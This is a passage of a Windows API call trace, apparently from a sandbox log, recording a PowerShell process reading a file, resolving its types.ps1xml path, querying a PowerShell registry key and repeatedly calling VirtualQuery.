lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.084] GetLastError () returned 0x0 [0096.084] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.084] GetLastError () returned 0x0 [0096.084] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.084] GetLastError () returned 0x0 [0096.085] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.086] GetLastError () returned 0x0 [0096.086] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.086] GetLastError () returned 0x0 [0096.086] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.086] GetLastError () returned 0x0 [0096.086] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.086] GetLastError () returned 0x0 [0096.087] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.087] GetLastError () returned 0x0 [0096.088] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.088] GetLastError () returned 0x0 [0096.088] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.088] GetLastError () returned 0x0 [0096.088] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.088] GetLastError () returned 0x0 [0096.088] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.089] GetLastError () returned 0x0 [0096.089] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.089] GetLastError () returned 0x0 [0096.089] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.089] GetLastError () returned 0x0 [0096.089] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.089] GetLastError () returned 0x0 [0096.092] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.092] GetLastError () returned 0x0 [0096.093] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.093] GetLastError () returned 0x0 [0096.093] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.093] GetLastError () returned 0x0 [0096.093] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.093] GetLastError () returned 0x0 [0096.094] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.094] GetLastError () returned 0x0 [0096.094] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.094] GetLastError () returned 0x0 [0096.094] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.094] GetLastError () returned 0x0 [0096.094] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.095] GetLastError () returned 0x0 [0096.095] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.095] GetLastError () returned 0x0 [0096.095] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.095] GetLastError () returned 0x0 [0096.095] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.095] GetLastError () returned 0x0 [0096.095] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.096] GetLastError () returned 0x0 [0096.096] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.096] GetLastError () returned 0x0 [0096.096] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.096] GetLastError () returned 0x0 [0096.096] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.096] GetLastError () returned 0x0 [0096.096] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.097] GetLastError () returned 0x0 [0096.102] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.102] GetLastError () returned 0x0 [0096.103] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.103] GetLastError () returned 0x0 [0096.103] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.103] GetLastError () returned 0x0 [0096.103] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.103] GetLastError () returned 0x0 [0096.104] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.104] GetLastError () returned 0x0 [0096.104] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.104] GetLastError () returned 0x0 [0096.104] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.104] GetLastError () returned 0x0 [0096.104] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.104] GetLastError () returned 0x0 [0096.105] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1b4, lpOverlapped=0x0) returned 1 [0096.105] GetLastError () returned 0x0 [0096.105] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x0, lpOverlapped=0x0) returned 1 [0096.105] GetLastError () returned 0x0 [0096.105] CloseHandle (hObject=0x358) returned 1 [0096.105] GetLastError () returned 0x0 [0096.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0096.105] GetLastError () returned 0x0 [0096.105] SetErrorMode (uMode=0x1) returned 0x1 [0096.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2a5fa84 | out: lpFileInformation=0x2a5fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0096.105] GetLastError () returned 0x0 [0096.105] SetErrorMode (uMode=0x1) returned 0x1 [0096.106] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0096.106] GetLastError () returned 0x0 [0096.106] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e8e8 | out: phkResult=0x27e8e8*=0x358) returned 0x0 [0096.106] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e930, lpData=0x0, lpcbData=0x27e92c*=0x0 | out: lpType=0x27e930*=0x1, lpData=0x0, lpcbData=0x27e92c*=0x56) returned 0x0 [0096.106] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e930, lpData=0x6f7118, lpcbData=0x27e92c*=0x56 | out: lpType=0x27e930*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e92c*=0x56) returned 0x0 [0096.107] RegCloseKey (hKey=0x358) returned 0x0 [0096.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0096.107] GetLastError () returned 0x0 [0096.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e424, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0096.107] GetLastError () returned 0x0 [0096.283] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.294] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.297] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.297] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.298] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.298] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.299] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.302] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.319] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.320] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.320] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.320] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.321] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.321] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.322] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.322] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.331] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.339] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.339] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.341] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.342] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.343] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.344] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.344] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.345] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.346] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.346] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.346] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.347] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.347] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.350] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.355] VirtualQuery (in: lpAddress=0x27d828, lpBuffer=0x27e828, dwLength=0x1c | out: lpBuffer=0x27e828*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.355] VirtualQuery (in: lpAddress=0x27d828, lpBuffer=0x27e828, dwLength=0x1c | out: lpBuffer=0x27e828*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.355] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.357] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.396] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.396] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.397] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.405] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0096.405] GetLastError () returned 0xcb [0096.411] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.423] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.423] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.424] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.424] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, 